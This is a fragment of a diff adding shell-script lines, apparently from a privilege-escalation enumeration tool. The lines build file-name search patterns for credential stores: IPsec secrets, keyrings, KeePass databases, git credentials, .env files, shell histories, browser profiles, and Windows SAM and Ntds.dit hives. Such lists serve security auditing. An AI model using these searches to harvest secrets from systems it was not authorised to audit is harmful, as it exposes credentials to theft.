+  PSTORAGE_IPSEC=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "ipsec\.secrets$|ipsec\.conf$" | sort | uniq | head -n 70)
+  PSTORAGE_IRSSI=$(echo -e "$FIND_DIR_BIN\n$FIND_DIR_VAR\n$FIND_DIR_SBIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_OPT\n$FIND_DIR_ETC"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "\.irssi$" | sort | uniq | head -n 70)
+  PSTORAGE_KEYRING=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE\n$FIND_DIR_BIN\n$FIND_DIR_VAR\n$FIND_DIR_SBIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_OPT\n$FIND_DIR_ETC"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "keyrings$|.*\.keyring$|.*\.keystore$|.*\.jks$" | sort | uniq | head -n 70)
+  PSTORAGE_FILEZILLA=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE\n$FIND_DIR_BIN\n$FIND_DIR_VAR\n$FIND_DIR_SBIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_OPT\n$FIND_DIR_ETC"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "filelliza$|filezilla\.xml$" | sort | uniq | head -n 70)
+  PSTORAGE_BACKUP_MANAGER=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "storage\.php$|database\.php$" | sort | uniq | head -n 70)
+  PSTORAGE_SPLUNK=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "passwd$" | sort | uniq | head -n 70)
+  PSTORAGE_GITLAB=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -v -E '/lib' | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "secrets\.yml$|gitlab\.yml$|gitlab\.rm$" | sort | uniq | head -n 70)
+  PSTORAGE_PGP_GPG=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E ".*\.pgp$|.*\.gpg$|.*\.gnupg$" | sort | uniq | head -n 70)
+  PSTORAGE_CACHE_VI=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E ".*\.swp$|.*\.viminfo$" | sort | uniq | head -n 70)
+  PSTORAGE_DOCKER=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "docker\.socket$|docker\.sock$|Dockerfile$|docker-compose\.yml$" | sort | uniq | head -n 70)
+  PSTORAGE_FIREFOX=$(echo -e "$FIND_DIR_BIN\n$FIND_DIR_VAR\n$FIND_DIR_SBIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_OPT\n$FIND_DIR_ETC"  | grep -E "^$GREPHOMESEARCH" | grep -E "\.mozilla$" | sort | uniq | head -n 70)
+  PSTORAGE_CHROME=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^$GREPHOMESEARCH" | grep -E "google-chrome$" | sort | uniq | head -n 70)
+  PSTORAGE_AUTOLOGIN=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "autologin$|autologin\.conf$" | sort | uniq | head -n 70)
+  PSTORAGE_FASTCGI=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "fastcgi_params$" | sort | uniq | head -n 70)
+  PSTORAGE_SNMP=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "snmpd\.conf$" | sort | uniq | head -n 70)
+  PSTORAGE_PYPIRC=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "\.pypirc$" | sort | uniq | head -n 70)
+  PSTORAGE_CLOUDFLARE=$(echo -e "$FIND_DIR_BIN\n$FIND_DIR_VAR\n$FIND_DIR_SBIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_OPT\n$FIND_DIR_ETC"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "\.cloudflared$" | sort | uniq | head -n 70)
+  PSTORAGE_HISTORY=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "\..*_history$" | sort | uniq | head -n 70)
+  PSTORAGE_HTTP_CONF=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "httpd\.conf$" | sort | uniq | head -n 70)
+  PSTORAGE_HTPASSWD=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "\.htpasswd$" | sort | uniq | head -n 70)
+  PSTORAGE_LDAPRC=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "\.ldaprc$" | sort | uniq | head -n 70)
+  PSTORAGE_ENV=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "\.env$" | sort | uniq | head -n 70)
+  PSTORAGE_MSMTPRC=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "\.msmtprc$" | sort | uniq | head -n 70)
+  PSTORAGE_GITHUB=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "\.github$|\.gitconfig$|\.git-credentials$|\.git$" | sort | uniq | head -n 70)
+  PSTORAGE_SVN=$(echo -e "$FIND_DIR_BIN\n$FIND_DIR_VAR\n$FIND_DIR_SBIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_OPT\n$FIND_DIR_ETC"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "\.svn$" | sort | uniq | head -n 70)
+  PSTORAGE_KEEPASS=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E ".*\.kdbx$|KeePass\.config.*$|KeePass\.ini$|KeePass\.enforced.*$" | sort | uniq | head -n 70)
+  PSTORAGE_FTP=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E ".*\.ftpconfig$|ffftp\.ini$|ftp\.ini$|ftp\.config$|ws_ftp\.ini$" | sort | uniq | head -n 70)
+  PSTORAGE_BIND=$(echo -e "$FIND_DIR_BIN\n$FIND_DIR_VAR\n$FIND_DIR_SBIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_OPT\n$FIND_DIR_ETC"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "bind$" | sort | uniq | head -n 70)
+  PSTORAGE_DDCLIENT=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "ddclient\.conf$" | sort | uniq | head -n 70)
+  PSTORAGE_INTERESTING_LOGS=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "access\.log$|error\.log$" | sort | uniq | head -n 70)
+  PSTORAGE_OTHER_INTERESTING_FILES=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "\.bashrc$|\.google_authenticator$|hosts\.equiv$|\.lesshst$|\.plan$|\.profile$|\.recently-used\.xbel$|\.rhosts$|\.sudo_as_admin_successful$" | sort | uniq | head -n 70)
+  PSTORAGE_WINDOWS_FILES=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "unattend\.inf$|.*\.rdg$|AppEvent\.Evt$|ConsoleHost_history\.txt$|FreeSSHDservice\.ini$|NetSetup\.log$|Ntds\.dit$|RDCMan\.settings$|SAM$|SYSTEM$|SecEvent\.Evt$|appcmd\.exe$|bash\.exe$|datasources\.xml$|default\.sav$|drives\.xml$|groups\.xml$|https-xampp\.conf$|https\.conf$|iis6\.log$|index\.dat$|my\.cnf$|my\.ini$|ntuser\.dat$|pagefile\.sys$|php\.ini$|printers\.xml$|recentservers\.xml$|scclient\.exe$|scheduledtasks\.xml$|security$|security\.sav$|server\.xml$|services\.xml$|setupinfo$|setupinfo\.bak$|sitemanager\.xml$|sites\.ini$|software$|software\.sav$|sysprep\.inf$|sysprep\.xml$|system\.sav$|unattend\.txt$|unattend\.xml$|unattended\.xml$|wcx_ftp\.ini$|web.*\.config$|winscp\.ini$|wsl\.exe$" | sort | uniq | head -n 70)
+  PSTORAGE_DATABASE=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -v -E '/man/|/usr/|/var/cache/' | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E ".*\.db$|.*\.sqlite$|.*\.sqlite3$" | sort | uniq | head -n 70)
+  PSTORAGE_BACKUPS=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "backup$|backups$" | sort | uniq | head -n 70)
